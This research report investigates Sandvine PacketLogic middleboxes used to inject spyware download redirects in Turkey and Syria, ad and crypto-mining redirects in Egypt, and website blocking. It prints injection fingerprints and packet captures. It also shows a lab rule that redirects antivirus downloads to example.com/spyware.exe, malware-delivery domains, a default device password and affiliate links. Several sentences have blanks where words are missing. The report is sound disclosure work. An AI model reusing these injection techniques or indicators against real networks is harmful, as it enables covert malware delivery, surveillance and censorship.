BAD TRAFFIC: Sandvine’s PacketLogic Devices Used to Deploy Government Spyware in Turkey and Redirect Egyptian Users to Affiliate Ads?

This report describes our investigation into the apparent use of Sandvine/Procera Networks Deep Packet Inspection (DPI) devices to deliver nation-state malware in Turkey and indirectly into Syria, and to covertly raise money through affiliate ads and cryptocurrency mining in Egypt.

  • Through Internet scanning, we found deep packet inspection (DPI) middleboxes on Türk Telekom’s network. The middleboxes were being used to redirect hundreds of users in Turkey and Syria to nation-state spyware when those users attempted to download certain legitimate Windows applications.
  • We found similar middleboxes at a Telecom Egypt demarcation point. On a number of occasions, the middleboxes were apparently being used to hijack Egyptian Internet users’ unencrypted web connections en masse, and redirect the users to revenue-generating content such as affiliate ads and browser cryptocurrency mining scripts.
  • After an extensive investigation, we matched characteristics of the network injection in Turkey and Egypt to Sandvine PacketLogic devices. We developed a fingerprint for the injection we found in Turkey, Syria, and Egypt and matched our fingerprint to a second-hand PacketLogic device that we procured and measured in a lab setting.
  • The apparent use of Sandvine devices to surreptitiously inject malicious and dubious redirects for users in Turkey, Syria, and Egypt raises significant human rights concerns.

This report describes how we used Internet scanning to uncover the apparent use of Sandvine/Procera Networks Deep Packet Inspection (DPI) devices (i.e. middleboxes) for malicious or dubious ends, likely by nation-states or ISPs in two countries.

1.1. Turkey

We found that a series of middleboxes on Türk Telekom’s network were being used to redirect hundreds of users attempting to download certain legitimate programs to versions of those programs bundled with spyware. The spyware we found bundled by operators was similar to that used in the attacks. Before switching to the StrongPity spyware, the operators of the Turkey injection used the FinFisher “lawful intercept” spyware, which asserts is sold only to government entities.

Our scans of Turkey revealed that this spyware injection was happening in at least five provinces. In addition to targets in Turkey, targets included some users physically located in Syria who used Internet services relayed into Syria by Türk Telekom subscribers, sometimes via cross-border directional Wi-Fi links. In one case, more than a hundred Syrian users appeared to share a single Turkish IP address. Based on publicly available information we found on Wi-Fi router pages, at least one targeted IP address appears to serve YPG (Kurdish militia) users. YPG has been the target of a Turkish government air and ground offensive which began in January 2018. Areas not controlled by the YPG also appear to be targeted, including the area around Idlib city.

1.2. Egypt

We found similar middleboxes at a Telecom Egypt demarcation point. The middleboxes were being used to redirect users across dozens of ISPs to affiliate ads and browser cryptocurrency mining scripts. The Egyptian scheme, which we call , has two modes. In , AdHose redirects Egyptian users en masse to ads for short periods of time. In trickle mode , AdHose targets some JavaScript resources and defunct websites for ad injection. AdHose is likely an effort to covertly raise money.

1.3. Technology Matches Sandvine PacketLogic

After an extensive investigation, we matched characteristics of the middleboxes in Turkey and Egypt to Sandvine PacketLogic devices . Sandvine’s PacketLogic middleboxes can prioritize, degrade, block, inject, and log various types of Internet traffic. The company that makes PacketLogic devices was formerly known as Procera Networks, but was recently renamed Sandvine after Procera’s owner, U.S.-based private equity firm Francisco Partners, Ontario-based networking equipment company Sandvine and combined the two companies in 2017. Francisco Partners has a number of investments in dual-use technology companies, including providers of Internet surveillance and monitoring tools such as , an Israeli company that develops and sells mobile spyware. NSO Group’s spyware has been used in to target journalists, lawyers, and human rights defenders.

1.4. Blocking Human Rights and Political Content

In Egypt and Turkey, we also found that devices matching our Sandvine PacketLogic fingerprint were being used to block political, journalistic, and human rights content.

In Egypt, these devices were being used to block dozens of human rights, political, and news websites including Human Rights Watch, Reporters Without Borders, Al Jazeera, Mada Masr, and HuffPost Arabic. In Turkey, these devices were being used to block websites including Wikipedia, the website of the Dutch Broadcast Foundation (NOS), and the website of the Kurdistan Workers’ Party (PKK).

1.5. Procera/Sandvine employees on the ground?

Nation-state-level network injection to deliver spyware has long been the stuff of legends. There have been and vendor claims outlining purported nation-state network injection capabilities but there are no concrete public measurements that conclusively establish nation-state spyware injection in the wild.

Broadly, network injection systems are divided into two categories: an system (also called a man-on-the-side ) can simply add Internet traffic to the network, whereas an system (also called a man-in-the-middle ) can add traffic and also suppress legitimate traffic. A malicious response injected by an system is easier for researchers to detect, because the target receives both the legitimate and malicious response. The presence of two non-similar responses to the same request is a good indicator of network injection. The target’s device will process whichever response is received first, so the goal of an system is to inject a malicious response that reaches the user before the legitimate response . However, such a system cannot always guarantee that the target’s device will see the malicious response first, due to unpredictable network delays and reordering.

2.1. On-Path Systems

NSA QUANTUM

Based on information from documents leaked from the US National Security Agency (NSA), NSA’s QUANTUM is an on-path network injection system, and has been used to target engineers associated with Belgian telco Belgacom, employees of OPEC, and Tor users accessing terrorist content . NSA’s QUANTUM has never been publicly measured in the wild, but leaked documents indicate that it functions by injecting HTTP redirects into targeted users’ connections.

Hacking Team Network Injection Appliance (NIA)

According to a patent filed in 2010 by nation-state spyware vendor Hacking Team, and leaked documents , the company may have developed a similar on-path network injection system called the Hacking Team Network Injection Appliance (NIA). This system has never been publicly measured in the wild. The patent indicates that the NIA functions by injecting HTTP redirects into targeted users’ connections.

2.2. In-Path Systems

FinFly ISP

Leaked documents from nation-state spyware vendor FinFisher indicate that the company sells an in-path network injection system called FinFly ISP. The complex system supports a number of unique features, such as rewriting downloaded binaries . The system was apparently sold to governments in and Turkmenistan , and at least one additional customer that could not be identified from the 2014 FinFisher leaked documents. This system has never been publicly measured in the wild.

China’s Great Cannon

China’s Great Cannon is an in-path network injection system, which was used in 2015 (and as recently as 2017) to inject JavaScript that enlists targets’ browsers in distributed denial of service (DDoS) attacks against the Chinese diaspora’s efforts to spread censored information. In a 2015 report, we hypothesized that the Great Cannon could also be used to distribute spyware, but this has never been publicly measured in the wild.

Sandvine PacketLogic

According to our measurements ( Section 3.3), Sandvine’s PacketLogic product supports in-path network injection. The company advertises that they support ” regulatory compliance ” but does not mention spyware injection. Nevertheless, the product has support for defining rules that inject data into targeted connections ( Figure 4). As we document in this report, the PacketLogic product may have been used by government-linked entities in both Turkey and Egypt to inject spyware.

2.3. The Procera/Sandvine value proposition

A Procera “use cases” brochure has a section on “Regulatory Compliance – Traffic Blocking.” The section links to a 2002 Electronic Frontiers Australia entitled “Internet Censorship: Law & policy around the world” and mentions that “Procera’s solutions provide the capabilities to identify and block, or shape down to become unusable, any identifiable service network wide or on an individual subscriber basis.”

“Operators that are required to filter content from their networks by governmental regulations are struggling to find solutions that can keep up with the explosive bandwidth growth of the past few years. Many telecom operators are required to invest several racks worth of equipment for a single use case with no return on investment through additional ARPU from subscribers.”

The document describes the close ongoing relationship Procera may have maintained with its clients to help them implement “regulatory requirements,” in some cases apparently having a Procera employee assist government clients with censorship:

“As an example, adult content can be opted in on an individual bases [sic] or services like Skype could be enabled for corporate clients only. Procera updates it’s [sic] signature database on a weekly basis to stay up to date on changes in what traffic looks like. Blocking proprietary over-the-top services will always remain a cat and mouse game that requires local dedicated personnel to perform well. Procera can provide these resident engineering services.”

This section describes how we obtained the first-ever packet captures (PCAPs) of nation-state spyware injection, and how we matched the characteristics of the spyware injection to Sandvine PacketLogic devices.

3.1. An initial report

A September 2017 revealed that ISPs in two (unnamed) countries were likely injecting FinFisher spyware into targeted users’ Internet connections when the users tried to download popular Windows applications. The injection was implemented using HTTP redirects matching the format shown in Figure 1.

HTTP/1.1 307 Temporary Redirect
Location: [location]
Connection: close

A follow-up report in December 2017 found no further evidence of spyware injection from one of the two countries from the original report and found that operators of the injection in the second country switched from FinFisher spyware to a piece of spyware that was similar to the StrongPity spyware. StrongPity was an unattributed APT operation in 2016 that primarily targeted individuals in Italy and Turkey.

3.2. Scanning and identifying countries

Discovering that an ISP or government is tampering with a user’s Internet connection by injecting malicious responses to the user’s requests is difficult. Typically, this requires the user to send requests, record the responses they receive, and share this data with researchers. However, we find that some network injection is bidirectional : we can sometimes receive a malicious injected response when we send a request a targeted user.

We checked , a website on which anyone can search the results of global Internet scans, for the header format in Figure 1, and found thousands of IP addresses in dozens of countries returning similar (non-malicious) redirects, sometimes to landing pages about billing like ” Your Internet service has been suspended for non-payment .” It seemed peculiar to us that Shodan saw these messages when it scanned the IP address of a customer who was suspended for non-payment, because the messages would only need to be visible to the customer themself. The fact that Shodan received responses from thousands of IP addresses matching the same header format used to inject FinFisher spyware in two countries ( Figure 1) suggested to us that the spyware injection might also be bidirectional.

We scanned the Internet in October 2017, sending every IPv4 address an HTTP request to download the Opera Web Browser, one of the applications that a September 2017 report indicates was targeted for spyware injection. Our initial scan found dozens of IP addresses on Türk Telekom that returned 307 redirects such as the ones in Figure 2.

HTTP/1.1 307 Temporary Redirect
Location: https://downloading.internetdownloading.co/down.php?a=2ec8a93a73540467335f4365beee7e44
Connection: close

HTTP/1.1 307 Temporary Redirect
Location: https://downloading.syriantelecom.co/pcdownload.php?a=20755b98d7c094747b75b157413e3422
Connection: close

We successfully fetched the files from a Turkish IP address using a VPN. When we tried to fetch the files from a non-Turkish IP, we received a 503 Service Temporarily Unavailable message. The files were similar to the StrongPity

We continued to perform scanning of Turkey and set out to fingerprint the middlebox performing the spyware injection. As part of our scanning, we obtained packet captures (PCAPs) that show network-level details of the spyware injection. These are the first ever public PCAPs showing nation-state spyware injection.

3.3. Attribution of middlebox to Sandvine

Fingerprint elements

Based on our PCAPs, we identified several elements of the injection in Turkey which, in conjunction, form what we believe to be a highly distinctive fingerprint:

  1. In all injected packets, the IPID is always 13330 (0x3412, which is 0x1234 endian-swapped) for all injected packets. This value is unusual, as the IPID is typically incremented or pseudorandomly generated, and is not a fixed value.
  2. In all packets, the IP flags are all zero. This characteristic is unusual as modern TCP stacks typically default-enable Path MTU Discovery for TCP sockets, which results in the “don’t fragment” IP flag being set to 1.
  3. The injected packet received by the client is either an empty RST/ACK packet, or a FIN/ACK packet, with an HTTP 307 redirect whose headers exactly match the form of redirect in Figure 1.
  4. If a FIN/ACK is injected, then the injector sends an unsolicited final ACK packet to the client ~100ms later. This behavior is unusual, as a well-behaving TCP stack would wait to see the FIN/ACK from the client before sending the final ACK.

Our second-hand PacketLogic device

We purchased a Sandvine PacketLogic device second-hand. The device was a PacketLogic PL7720, which is a 2U rackmount version of PacketLogic with Procera livery. This model is well past its designated end-of-life date and no longer serviced by the company. The device was installed with firmware version 12.1, which was released in 2009. The device also contained a PacketLogic license file that appeared to be valid in perpetuity for the currently installed version of the firmware but which cannot be used to upgrade to a later version. Version 12.1 appears to be the earliest version of PacketLogic firmware to contain support for network injection.

The device has two USB ports, an RS232 (on RJ45) serial console port that can be used to access a text-based menu configuration system, two management ethernet ports, and a single channel over which the middlebox operates. The channel has an internal ethernet port ( Int) and an external ethernet port ( Ext). The middlebox would typically operate over traffic flowing between a local network (connected to the Int port), and the rest of the Internet (connected to the Ext port). An operator could add rules to the middlebox to take certain actions over this traffic (e.g., block traffic to a website, inject traffic for targeted users, etc.).

We powered up the device and connected through its Admin management port. We used an old version of the PacketLogic Client available on the Internet Archive to interface with the device, as no current version of the PacketLogic Client on Sandvine’s website appeared to support version 12.1 of the firmware. We used the default password “pldemo00” printed on the device to log in. We connected one experiment computer to the PacketLogic device’s Ext port, and a second experiment computer to the Int port in order to observe characteristics of the device’s operation. At no time did we connect the device to the Internet.

Redirecting users to a malicious file

We added a rule to redirect users who requested an Avast Antivirus setup file to a malicious file. This test involved creating a PropertyObject to match requests whose URL ended in the filename for Avast Antivirus: avast_free_antivirus_setup_online.exe, and then a Filtering Rule to redirect all connections matching the PropertyObject to a malicious file. This redirection used the built-in Inject action. The PacketLogic GUI has an “Insert 307 Temporary Redirect” button that, when pressed, pastes an HTTP 307 Temporary Redirect response identical to element 3 of our fingerprint (at the start of this section). The PacketLogic operator can configure the “Location” header, which is initially blank; in this case, we entered: http://example.com/spyware.exe.

Without any further configuration, this rule caused our PacketLogic device to inject the redirect in response to a matching request in either direction (internal to external, or external to internal). This mirrors our experience of being able to reproduce spyware injection in Turkey from requests sent external to internal. We noticed that we could add an extra condition to the rule in order to restrict the injection to a single direction.

Our experiment matched elements 1-3 of our fingerprint, but did not completely match element 4. Specifically, our PacketLogic middlebox injected an unsolicited final ACK back-to-back after the FIN/ACK containing the 307 Temporary Redirect instead of injecting it following the ~100ms delay we observed in Turkey and Egypt. Our version of the PacketLogic firmware (12.1) was the first to support injection; we hypothesize that the ~100ms delay between the data packet and the final ACK was added in a later firmware version, potentially to reduce the probability of the ACK being reordered before the FIN/ACK; such a reordering would cause the injection recipient’s TCP connection to hang in the LAST_ACK state, which is the scenario that sending the ACK seeks to avoid.

Figure 5 shows an excerpt from our client-side PCAP that captures the injection from our test PacketLogic device. Note that the IPID is 13330 in both injected packets, both injected packets have no IP flags, the format of the HTTP 307 redirect is what we expect, and the final ACK packet is unsolicited.

Client sends GET request for Avast file

17:28:25.024018 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 170)
192.168.1.27.49458 > 192.168.1.26.8080: Flags [P.], seq 1:119, ack 1, win 4117, options [nop,nop,TS val 756363711 ecr 2094486068], length 118: HTTP, length: 118
GET /avast_free_antivirus_setup_online.exe HTTP/1.1
Host: 192.168.1.26:8080
User-Agent: curl/7.54.0
Accept: */*

Client receives injected data (redirect to spyware file)

17:28:25.024300 IP (tos 0x0, ttl 64, id 13330, offset 0, flags [none], proto TCP (6), length 134)
192.168.1.26.8080 > 192.168.1.27.49458: Flags [F.], seq 1:95, ack 119, win 32120, length 94: HTTP, length: 94
HTTP/1.1 307 Temporary Redirect
Location: http://example.com/spyware.exe
Connection: close

Client receives injected ACK

17:28:25.024302 IP (tos 0x0, ttl 64, id 13330, offset 0, flags [none], proto TCP (6), length 40)
192.168.1.26.8080 > 192.168.1.27.49458: Flags [.], seq 96, ack 120, win 32120, length 0

Figure 6 shows an excerpt from our server-side PCAP that captures the injection from our test PacketLogic device. Note that the server side does receive the HTTP request for the Avast file. Instead, it receives an injected RST packet with IPID 13330 and no flags. Note that the timestamp discrepancy in the PCAP files is because the server and client clocks were not synchronized.

Server receives injected RST

17:28:06.715257 IP (tos 0x0, ttl 64, id 13330, offset 0, flags [none], proto TCP (6), length 40)
192.168.1.27.49458 > 192.168.1.26.8080: Flags [R], seq 681001116, win 32120, length 0

3.4. Shared code: a competing hypothesis

There are, however, several reasons why the shared code hypothesis is unlikely to be an accurate explanation of our findings. First, the 2016 controversy within Procera about selling their solution to Turkey for surveillance (referred to in Section 1.3) indicates a possible prior business relationship between the company and Turkey. Second, we have not been able to locate any codebase with both the same distinctive IPID value and the same distinctive HTTP header format; the only references to IPID values of 13330 (0x3412) we found were a 2016 OONI report about the ad injection we mention in Section 5, and a 2004 forum post by an individual in Sweden curious as to why he was seeing IPID values of 13330 when he tried to ping the IP addresses of his website’s visitors with unsolicited TCP segments. It is significant in this regard that it was a Swedish company, Netintact AB, founded in 2000, that developed and sold the PacketLogic product Procera acquired the company in 2006. Third, performing single packet injection in a TCP connection is a relatively simple feat to achieve; an engineer wishing to implement this functionality would likely not need to study or copy another implementation.

This section describes how DPI equipment that matches our Sandvine PacketLogic fingerprint is used to inject malware to users in Turkey and Syria who attempt to download common Windows software.

4.1. Turkey background: information controls and surveillance

4.2. Localizing the targets of Turkey’s malware injection

Over five months of scanning we found a total of 259 targeted IP addresses. However, this is not a complete count of targeted IP addresses; we could only measure IP addresses that responded to our scans (i.e., had an open TCP port).

We were able to develop a general sense of target identities by scraping data from public router pages hosted on some of the IP addresses. The pages show names chosen by the people who set up the routers, including names of users sharing the connection. In some cases, the names chosen were of Syrian cities. We conducted on-the-ground testing in one such Syrian city and found that all users of a particular Internet reseller (sharing the same Türk Telekom IP) were targeted. We also found several router pages showing names containing “ypg” (e.g., ciwan.ypg and ypg-matar), indicating possible targeting of YPG (Kurdish militia) members or facilities. We also found that some routers were named for resellers in Turkey and Syria. We found Facebook pages for some of the named resellers which showed images of the resellers building infrastructure to provide Internet access using Türk Telekom leased lines ( Figures 8 and 9).

After we sent letters to Sandvine and Francisco Partners on February 12, 2018, we ran tests on February 14 and February 16, 2018 which found that two targeted IP addresses- on which we had observed injection since October 2017- no longer produced injection. We conducted a full scan of Turkey on March 7, 2018 and found that these two IP addresses again produced injection, but with different domain names. Our March scan also found that the operators of the injection had changed some of the injected domain names.

Malware domain (February 2018) Malware domain (March 2018) Injection targets downstream from location

4.3. Identifying targeted applications

We performed testing of targeted IP addresses to see what additional applications were being targeted. We sent requests like the one in Figure 10 for a variety of paths and filenames matching popular Windows software. We tested filenames associated with the IOCs from two , as well as the top 20 Windows applications on Download.com (one of the IOCs from previous reports pointed to a file called avast_free_antivirus_setup_online_cnet1.exe).

GET [path] HTTP/1.1
Connection: close

We found at least ten applications whose downloads were targeted for spyware injection. Figure 11 lists the targeted applications we found, and for each application, a non-exhaustive list of websites where targeted users’ downloads of these applications would be injected with spyware.

Figure 11: Applications targeted for spyware injection in Turkey.

Some of these websites supported HTTPS, but did not redirect users to the HTTPS version when directly visited. As an example, when a user visited opera.com (the unencrypted version), they were not redirected to the HTTPS-encrypted version automatically. According to Internet Archive data, Opera seems to have fixed the issue on March 7, 2018, between and . Surprisingly, some websites we tested, like avast.com, iobit.com, and ccleaner.com, used HTTPS on their main website but directed users to download links that did not use HTTPS. While the user saw an HTTPS page in their browser, the file that the page downloaded to their computer was via HTTP ( Figure 12). Targeted users in Turkey and Syria would have received spyware instead of the legitimate version of the app. Sometime after February 13, 2018, Avast fixed on their avast.com site to use HTTPS for downloads. However, as of the publication date of this report, another page on avast.com redirects users to an insecure download on download.com. Piriform fixed their ccleaner.com site to use HTTPS for downloads sometime after February 23, 2018. Also, as of the date of publication, some websites we list in Figure 11 do not appear to support HTTPS at all, including download.com, 7-zip.org.

This situation can be particularly problematic for activists who may rely on advice to use apps like CCleaner and Avast. For example, the digital security guide Security in a Box advises the use of both products and links to the official websites of these products, both of which offered insecure downloads.

4.4. Connection with FinFisher campaign

VirusTotal records that a of StrongPity-like spyware communicating with updserv-east-cdn3[.]com was downloaded from download.downloading[.]shop, the same site used to distribute samples of FinFisher . The updserv-east-cdn3[.]com server was also the command and control (C&C) server for the samples of StrongPity-like spyware downloaded in a subsequent phase of the injection campaign that we observed, from sites including downloading[.]internetdownloading[.]co and downloading[.]syriantelecom[.]co.

This section describes how DPI equipment that matches our Sandvine PacketLogic fingerprint is installed on Telecom Egypt’s network at Egypt’s borders, and is used to deliver affiliate ads, cryptocurrency mining scripts, and perhaps nation-state spyware, to Egyptian Internet users.

5.1. Egypt background: malware, surveillance, and censorship

The use of surveillance technology by the Egyptian government has been widely documented, particularly the technologies operated by an obscure intelligence agency called the Technical Research Department (TRD). A 2015 Citizen Lab report identified that a server used in the operation of FinFisher surveillance malware was present on networks operated by the TRD. Similarly, Privacy International obtained documents leaked from Nokia Siemens Networks which showed that the company sold an interception management system and monitoring centre to the TRD . The leaked emails from surveillance company Hacking Team indicated that the company had sold its surveillance malware system to the TRD for more than 1 million Euros.

A 2017 Citizen Lab report documented a large-scale phishing campaign against Egyptian civil society members. Virtually all of the targets identified in this report were implicated in , a legal case brought by the Egyptian government against domestic NGOs. In this case, the government has accused NGOs of improperly receiving foreign funding and engaging in prohibited activities.

5.2. Following up on earlier findings

A September 2017 report FinFisher spyware injected via HTTP 307 redirect matching the format in Figure 1 using the URL http://108.61.165[.]27/setup/TrueCrypt-7.2.rar , ( 024d37333bf79796813e76ada77720cd according to VirusTotal). That FinFisher sample’s command and control (C&C) server is 199.195.193.34. We found another FinFisher sample ( 3947a9c9099d4728ff2ceaed2bd7edb3 ) with the same C&C; VirusTotal records the sample as being downloaded from http://185.82.202[.]133/setup/Threema.rar . When we tested 185.82.202.133, we found that it was running cPanel, and the email address associated with the cPanel installation was an email address we know to be associated with the TRD based on the Citizen Lab has conducted. We conducted Internet scanning of Egypt, sending every IPv4 address an HTTP request to download the TrueCrypt setup file, but did not find any spyware injection. However, we discovered a system we call that was redirecting Egyptian Internet users to affiliate ads and cryptocurrency mining scripts.

We identify two modes of AdHose. In , a middlebox redirects Egyptian Internet users en masse to ads or cryptocurrency mining scripts whenever they make a request to any website. In trickle mode , only requests to certain URLs are redirected. It appears that spray mode is enabled sparingly, whereas trickle mode appears to be in operation mostly continuously.

5.3. Discovering AdHose

When checking Shodan for HTTP 307 redirects ( Section 3.2), we noticed a large number of redirects returned by Egyptian IPs to what appeared to be an advertising site ( Figure 14). The site embedded further redirects to affiliate ads.

HTTP/1.1 307 Temporary Redirect
Location: http://static.dbmads.com/static.html
Connection: close

While we were conducting an (unrelated) scan of the IPv4 Internet (from outside Egypt), we captured these redirects being injected, solely for IP addresses in Egypt. The redirects were injected during 32 minutes of our scan ( on January 8, 2018 between 10:23:36 – 10:55:12 Egypt time). The advertising redirects were injected in response to requests we sent of the form in Figure 15 (where “%s” is the IP address we were scanning).

GET / HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0

During the 32 minutes on January 8 when injection was active, we both scanned and received a response containing data from 3,337 IP addresses in 27 ASNs in Egypt (as determined by MaxMind GeoLite2 country database ). 1,239 IP addresses in 17 ASNs returned the advertising redirect, for an injection rate of ~38%. This appears to be an instance of the AdHose spray mode. Figure 16 shows the ASNs in which we observed injections, indicating that the middleboxes used for injection are upstream from these ASNs.

Figure 16: ASNs where we observed injection in Egypt.

5.4. A multi-year campaign

OONI’s report and data

Our data matches up with findings that the network interference measurement project OONI published in August 2016 . OONI’s work revealed affiliate ad injection when users attempted to access certain pornography websites in Egypt. OONI’s findings matched all elements of the fingerprint we described in Section 3.3, which suggests that the ad injection they identified in 2016 was also the result of Sandvine PacketLogic devices as configured by the operators.

Additional historical OONI data that we reviewed showed evidence that two domains, copticpope[.]org (the former website of the Pope of the Coptic Orthodox Church of Alexandria) and babylon-x[.]com (a former pornographic website), have been targeted by AdHose in trickle mode As a result, visitors to these websites were continuously redirected to ads, regardless of whether spray mode was active. We confirmed these findings in our own scans in February 2018. We also identified an October 2016 post on Webhostingtalk which indicated that visitors to a free web counter JavaScript file, http://s10.histats[.]com/js15.js , were redirected to advertisements linked to the infinitads[.]com domain. We tested accessing this URL from within Egypt and found that it is targeted by AdHose in trickle mode.

Censys captures AdHose spray

We found that the 7547-cwmp-get-full_ipv4 performed on January 3, 2018 captured AdHose in spray mode between 15:50:23 – 16:32:02 local time. Censys both scanned and received a response containing data from 5,702 IP addresses in four ASNs in Egypt during this period. Of these 5,702 IPs, 5,443 in four ASNs returned the advertising redirect, for an injection rate of ~95%.

Enumerating affiliate IDs

We looked at historical OONI data and enumerated all HTTP 307 redirects within Egypt that did not match the domain from which they were redirected. Within this list, we looked for any domains returned which appeared to be domains hosting advertising pages (for example, we manually filtered out domains that appeared to be ISP or billing notifications). To this list, we added the injected domains that OONI previously reported.

Advertising Technologies Ltd.

http://go.pub2srv[.]com/afu.php?zoneid=1251527

http://go.ad2upapp[.]com/afu.php?id=1209127

http://go.ad2upapp[.]com/afu.php?id=773263

http://go.ad2up[.]com/afu.php?id=862744

http://go.ad2up[.]com/afu.php?id=758873

http://go.ad2up[.]com/afu.php?id=773263

http://go.oclasrv[.]com/afu.php?id=896707

http://go.ad2upapp[.]com/afu.php?id=723454

http://go.deliverymodo[.]com/afu.php?id=723454

Terra Advertising Corp

http://www.hitcpm[.]com/watch?key=e4c634c55ad300b85c8760d9e09104cd

http://www.urldelivery[.]com/watch?key=3e73d64a401c1e5b8b3eb33316b711e0

http://cs6hm[.]com/watch?key=3e73d64a401c1e5b8b3eb33316b711e0

http://cpm10[.]com/watch?key=3e73d64a401c1e5b8b3eb33316b711e0

http://www.clicksgear[.]com/watch?key=3e73d64a401c1e5b8b3eb33316b711e0

e4c634c55ad300b85c8760d9e09104cd

3e73d64a401c1e5b8b3eb33316b711e0

Advertica.ae

https://ylx-4[.]com/fullpage.php?section=General&pub=175258&ga=g

https://ylx-4[.]com/fullpage.php?section=General&pub=125652&ga=g

Coinhive (Monero cryptocurrency mining)

http://cnhv[.]co/fmwi

Figure 17: Affiliate links we believe were used by AdHose operators.

We saw a significant overlap between the ad networks mentioned in the OONI report and AdHose. For example, we saw in the hosting history that static.dbmads[.]com forwarded users to ad2upapp[.]com, which was mentioned in the initial OONI report. Additionally, the infinitads[.]com domain mentioned in the OONI report was forwarded to static.dbmads[.]com at several points in time. This overlap suggests to us that the same actors have been involved since at least October 2016.

5.5. Localizing Egypt’s middleboxes

We conducted tests that localized the AdHose middleboxes to a Telecom Egypt demarcation point.

We noticed that for AdHose, the redirects were injected upon receipt of an HTTP response, rather than an HTTP request. In this case, sending a request to a server did not trigger an injected response unless the server received the request, and returned a proper HTTP response.

We verified that we could configure our second-hand PacketLogic device to inject on responses rather than requests, such as by adding a condition on the injection rule that would not be known until the device saw the response (e.g., the condition “HTTP response code == 200”).

Test 1: localizing AdHose

Because AdHose only injects data in response to HTTP responses, sending TTL limited HTTP requests cannot localize AdHose. We instead sent a TTL-limited FIN/ACK packet after properly establishing a TCP connection, but before sending a default-TTL HTTP request with a Host header for one of the AdHose domains ( copticpope[.]org ). By varying the TTL of the FIN/ACK packet, we could identify the link on which the middlebox first saw the FIN/ACK (and the end-host in Egypt did not). We hypothesized that when the middlebox first saw the FIN/ACK, it might consider the connection closed and not perform any injection on the server’s response. Thus, we would expect to find some number X, where setting the TTL to Y (≥ X) would cause us to receive the legitimate response from the server, and setting the TTL to Z (< X) would cause us to receive the redirect injected by AdHose.

We did indeed observe this behavior; the first link on which we saw the legitimate response from the end-host in Egypt (and not the injected response) was between 130.117.50.166 (be3093.ccr22.mrs01.atlas.cogentco.com) and 149.14.125.162 (telecom-egypt.demarc.cogentco.com), which appears to be a cable link between Marseilles, France, and Egypt.

Test 2: localizing censorship

In this test, we found that the same device that was running AdHose was also performing Internet censorship in Egypt. We localized the censorship functionality of the device by sending a TTL-limited HTTP request to a blocked website (www.aljazeera.net). By varying the TTL of the HTTP request, and observing whether we received an injected RST/ACK packet, we could identify the link where the device first saw the request.

The first link on which we saw an injected RST/ACK packet was between 130.117.50.166 (be3093.ccr22.mrs01.atlas.cogentco.com) and 149.14.125.170 (telecom-egypt.demarc.cogentco.com), which appears to be the same cable link that we found in Test 1.

Given that we localized both AdHose and Internet censorship to the same link, we believe that the same PacketLogic device is being used to carry out both functionalities.

This section describes how DPI equipment that matches our Sandvine PacketLogic fingerprint is blocking political and human rights content in Egypt and Turkey.

6.1. Websites blocked

In Egypt, we found that devices matching our Sandvine PacketLogic fingerprint are being used to block dozens of human rights, political, and news websites including Human Rights Watch, Reporters Without Borders, Al Jazeera, Mada Masr, and HuffPost Arabi. In Turkey, we discovered that these devices are being used to block websites including every language version of Wikipedia, the website of the Dutch Broadcast Foundation (NOS), and the website of the PKK (Kurdistan Workers’ Party).

6.2. Website blocking in PacketLogic

We tested blocking a website using our second-hand Sandvine PacketLogic device ( Section 3.3). This test involved creating a PropertyObject to match requests whose hostname was and then a Filtering Rule that terminates all connections matching the Property Object by using the built-in action.

Requests with an HTTP host header of hrw.org were terminated by an injected RST packet. Requests with a TLS client hello message with the SNI extension set to hrw.org were also terminated.

Our experiment (Figure 19, Figure 20) matched elements 1-4 of our fingerprint. Note that the timestamp discrepancy in the PCAP files is because the server and client clocks were not synchronized.

Client sends GET request for hrw.org

17:34:54.213576 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 123)
192.168.1.27.49482 > 192.168.1.26.8080: Flags [P.], seq 1:72, ack 1, win 4117, options [nop,nop,TS val 756752097 ecr 2094875405], length 71: HTTP, length: 71
GET / HTTP/1.1
Host: hrw.org
User-Agent: curl/7.54.0
Accept: */*

Client receives injected RST/ACK

17:34:54.213805 IP (tos 0x0, ttl 64, id 13330, offset 0, flags [none], proto TCP (6), length 40)
192.168.1.26.8080 > 192.168.1.27.49482: Flags [R.], seq 1, ack 72, win 32120, length 0

Server receives injected RST/ACK

17:34:36.051889 IP (tos 0x0, ttl 64, id 13330, offset 0, flags [none], proto TCP (6), length 40)
192.168.1.27.49482 > 192.168.1.26.8080: Flags [R.], seq 72, ack 1, win 32120, length 0

Citizen Lab sent letters to executive leadership at Sandvine and to Procera Networks/Sandvine owner Francisco Partners on February 12, 2018. Our letters notified the companies of our research findings and raised questions concerning their human rights impact. We received an initial response from both companies on February 13 which confirmed their receipt of our letters and indicated that they would provide us with a reply.

A February 16, 2018 letter from Sandvine laid out the company’s response in more detail, characterizing the statements in our letter as “false, misleading, and wrong”; demanding return of the second-hand PacketLogic device that we used to confirm attribution of our fingerprint; describing Sandvine’s “Comprehensive Business Ethics Program”; and noting that any public statements we make “that are factually inaccurate or based on improper use of [the PacketLogic] product . . . will be met with vigorous fact-based rebuttal and a strong legal response . . . .” Citizen Lab replied to this email the same day noting that we had withdrawn the original publication date to carefully review the points they raised and undertake further due diligence.

Notably, in the February 16 letter, Sandvine also expressed its commitment to the ethical use of its product. It referred to the company’s regarding “Ethics and Human Rights protection at Sandvine,” which provided:

A key part of [Sandvine’s] innovation process is to ensure that we do not lose sight of the ethical impact of our technology on human rights, freedom of speech, and privacy. Sandvine has taken the approach on regulating access to the components of our solutions that could be used to infringe on any of these. The usage of our regulatory compliance solutions are controlled by a EULA and software licenses that are required for any components that could conceivably be used to violate human rights, freedom of speech, and privacy. Any country not rated an “A” by the World Bank must be approved by the BEC and a certificate of compliance signed by the customer acknowledging that they will not use the technology to violate human rights based on the regulatory compliance use case(s) deployed. Sandvine employees and resellers are prohibited from selling solutions to countries that are embargoed or sanctioned by the EU, US, and/or UN or are rated a “D” by the Word Bank.

It is unclear, however, what letter grade ratings are referred to in this policy, or how they are determined, as the Worldwide Governance Indicators provide percentile rankings for countries rather than a letter grade.

While Sandvine did not comment on the existence or any aspect of business dealings in Egypt or Turkey, citing contract confidentiality clauses, the BEC assessment process it outlines would appear to apply to sales in both countries. The Worldwide Governance Indicators reflect the following 2016 percentile rankings (0 to 100) for Egypt and Turkey in the categories utilized by Sandvine’s BEC:

